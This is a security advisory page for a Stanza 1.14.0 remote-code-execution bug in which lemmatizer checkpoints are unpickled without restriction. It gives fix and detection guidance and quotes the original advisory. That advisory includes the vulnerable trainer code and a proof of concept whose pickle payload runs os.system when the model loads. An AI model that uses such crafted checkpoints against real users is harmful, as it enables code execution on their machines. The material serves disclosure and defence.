NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · PyPI

CVE-2026-115878: Stanza: RCE via pickle deserialization in the lemmatizer

highCVSS 3.1 7.8GHSA-gh9r-c94j-cmp5

Stanza 1.14.0 runs arbitrary code when it loads a crafted lemmatizer checkpoint. The pos_dict field is a gzip-compressed pickle that Trainer.load passes to an unrestricted pickle.loads, even though torch.load uses weights_only=True. Upgrade to stanza 1.15.0.

Published Nov 3, 2026 · Analysis Nov 4, 2026

What an attacker can do

Since 1.14.0, the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field, as a bytes value. torch.load with weights_only=True treats bytes as a primitive and never inspects the inner stream. Trainer.load then calls _unpack_pos_dict (stanza/models/lemma/trainer.py), which runs a bare pickle.loads on the data. A payload whose __reduce__ returns os.system runs at load time.

The reporter confirmed this on stanza 1.14.0 with PyTorch 2.13.0 and CPython 3.13.7: a marker file showed the command ran as the loading user. The trigger fires at pipeline construction, before any text is processed. Any code that passes an attacker-influenced file as lemma_model_path, or loads a shared lemma model from a custom registry, is exposed. For example:

stanza.Pipeline(lang="en", processors="tokenize,pos,lemma", lemma_model_path="model.pt")

Checksums apply only to the default registry download, not to caller-supplied paths. The attacker must get a victim to load a malicious model file, which is why the CVSS vector needs user interaction. This is separate from the weights_only=False fallback fixed under CVE-2026-54499.

Who is affected

Only stanza 1.14.0 is listed as vulnerable. You are exposed if you load a lemmatizer checkpoint you did not produce yourself, through lemma_model_path or a custom model registry. The default registry downloads are checksum-verified. Check the installed version:

pip show stanza

stanza

Ecosystem
PyPI
Affected
= 1.14.0
Fixed in
1.15.0
Check
pip show stanza

How to fix it

Upgrade to stanza 1.15.0. The release notes say it replaces pickle-based lemmatizer model serialization with orjson.

pip install --upgrade "stanza>=1.15.0"

Models saved by 1.14.0 use the old pickle format. Treat any lemma model from an untrusted source as hostile and re-obtain it from a trusted source. Until you upgrade, do not load third-party lemma checkpoints. The advisory also proposes using the project's RestrictedUnpickler for the inner stream as an alternative fix.

How to tell if you were hit

Inventory where stanza 1.14.0 is installed and which pipelines pass lemma_model_path or use a custom registry. Review any lemma .pt files from outside sources: a legitimate pos_dict is a nested mapping of strings. Look for unexpected child processes spawned by Python processes that build stanza pipelines, and for files created at model load time. Because the code runs as the loading user, check that user's shell history and recent file changes on shared hosts.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

TL;DR

Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted `pickle.loads`: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.

Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload __reduce__ returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executed_by=...).

A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> _unpack_pos_dict and executes the embedded pickle at construction time.

The vulnerable path

stanza/models/lemma/trainer.py:

# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']

def _unpack_pos_dict(data):                 # line 54
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return pickle.loads(raw)                # <-- unrestricted default unpickler
def load(self, filename, ...):              # line 365
    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact
    ...
    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)
        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])   # line 378, no validation

Reachable from the documented API. stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemma_model_path reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.

Note: this is not the weights_only=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.

Minimal PoC

import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS

MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")

class Payload:
    def __reduce__(self):
        return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))

buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:        # same shape as _pack_pos_dict()
    gz.write(pickle.dumps(Payload(), protocol=4))

ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)

loaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"])                            # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())

The PoC calls _unpack_pos_dict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.

Fix

Deserialize the inner stream with the RestrictedUnpickler the project already uses in stanza/models/common/doc.py (allowlists tuple/list/dict only):

from stanza.models.common.doc import RestrictedUnpickler

def _unpack_pos_dict(data):
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return RestrictedUnpickler(io.BytesIO(raw)).load()

A legitimate pos_dict is a nested {pos: {word: lemma}} string mapping no class/function globals, so it loads cleanly, while any os.system-style payload is rejected by find_class. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both _unpack_pos_dict and, for forward compatibility, _pack_pos_dict.

Credited to lexdotdev.

Questions

Does weights_only=True protect stanza 1.14.0 from this?

No. The outer torch.load stays safe, but the checkpoint carries a bytes field that torch.load passes through intact. Trainer.load then unpickles it without restriction.

Is the default stanza model download affected?

The advisory says exposure comes from caller-supplied checkpoints, such as lemma_model_path or a custom registry. MD5 checks exist only in the default download flow.

Which version fixes CVE-2026-115878?

Stanza 1.15.0. Only 1.14.0 is listed as vulnerable. The release replaces pickle-based lemmatizer serialization with orjson.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More PyPI vulnerabilities

All PyPI entries